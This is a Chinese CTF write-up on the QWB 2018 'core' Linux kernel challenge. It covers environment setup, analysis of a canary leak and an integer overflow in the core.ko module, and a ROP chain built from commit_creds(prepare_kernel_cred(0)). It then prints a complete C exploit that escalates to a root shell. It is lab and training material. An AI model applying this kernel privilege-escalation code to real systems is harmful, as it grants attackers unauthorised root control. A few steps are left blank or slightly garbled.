强网杯2018 - core 学习记录
-
环境搭建
首先解包 core.cpio,去掉 init 中 poweroff 强制关机那一句,然后重新打包
./gen_cpio.sh core.cpio
启动 qemu 的时候出现了报错
Kernel panic - not syncing: Out of memory and no killable processes...
将 start.sh 中 -m 原本的 64M 改成了 256M 后可以正常启动了。
漏洞文件是 core.ko,看一下保护,只开了 Canary 和 NX 。 -
漏洞分析
在 core_ioctl 中,对传入值进行判断并有三个分支,分别是 core_read(),设置全局变量和 core_copy_func()。
因为有 Canary 首先要泄露栈上信息,在 core_read 中,copy_to_user 可以将内核空间拷贝一块数据到用户空间,而这里的 off 可以在 core_ioctl 任意设置,所以在这里能泄露栈上内容,也就能泄露 Canary。
然后是在 core_copy_func 中,传入变量存在整数溢出,可以利用 qmemcpy 将全局变量 name 的值写入内核栈上。
在 core_write 中可以向全局变量 name 中写入数据,最后通过 core_copy_func 写入到内核栈上,那么这里需要放一个提权的 rop_chain,因为在 tmp 目录先可以直接查看 commit_creds 和 prepare_kernel_cred 的地址,所以可以直接构造 rop 用 commit_creds(prepare_kernel_cred(0)) 提权。
由于 commit_creds 和 prepare_kernel_cred 在 vmlinux 中的偏移固定,那么通过确定在 vmlinux 中的地址和固定的偏移,就可以确定 vmlinux 的基地址。
首先在 qemu 中查看镜像加载的基地址,但需要 root 权限,先在 init 中修改为:
setsid /bin/cttyhack setuidgid 0 /bin/sh
然后重新打包,查看 core.ko 中 .text 的基地址
/ # cat /sys/module/core/sections/.text 0xffffffffc034c000
然后确定偏移:
from pwn import * elf = ELF("./vmlinux") print "commit_creds", hex(elf.symbols['commit_creds']-0xffffffff81000000) print "prepare_kernel_cred", hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
然后在 qemu 中查看基址:
/ # cat /tmp/kallsyms | grep commit_creds ffffffff90c9c8e0 T commit_creds / # cat /tmp/kallsyms | grep prepare_kernel_cred ffffffff90c9cce0 T prepare_kernel_cred
那么就可以计算出 vmlinux 的基址:
-
构造 ROP
要用 rop 实现执行 commit_creds(prepare_kernel_cred(0)) 提权和执行 swapgs; iretq 命令返回用户态。实现流程大致为:
pop rdi; ret prepare_kernel_cred(0) pop rdx; ret pop rcx; ret mov rdi, rax; call rdx; commit_creds swapgs; popfq; ret iretq; ret;
具体的地址可以用 ropper 寻找
ropper --file vmlinux --search "pop|ret"
最后的 exp,重点就是构造 rop 部分,把 commit_creds(prepare_kernel_cred(0)) 和 swapgs; iretq 和 提前构造的栈拼起来即可。
构造的栈:
(exp 参考自 ctfwiki)
// gcc exploit.c -static -masm=intel -g -o exploit #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell() { system("/bin/sh"); } size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000; size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf, "commit_creds") && !commit_creds) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); } } if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved"); } void set_off(int fd, long long idx) { printf("[*]set off9 to %ld\n", idx); ioctl(fd, 0x6677889C, idx); } void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf); } void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); } int main() { save_status(); int fd = open("/proc/core", 2); if (fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40); char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); size_t rop[0x1000] = {0}; int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100)); return 0; }
快速启动脚本:
#!/bin/sh gcc exp.c -static -masm=intel -g -o exp cp exp core/exp cd core ./gen_cpio.sh core.cpio mv core.cpio .. cd .. ./start.sh
-
参考文献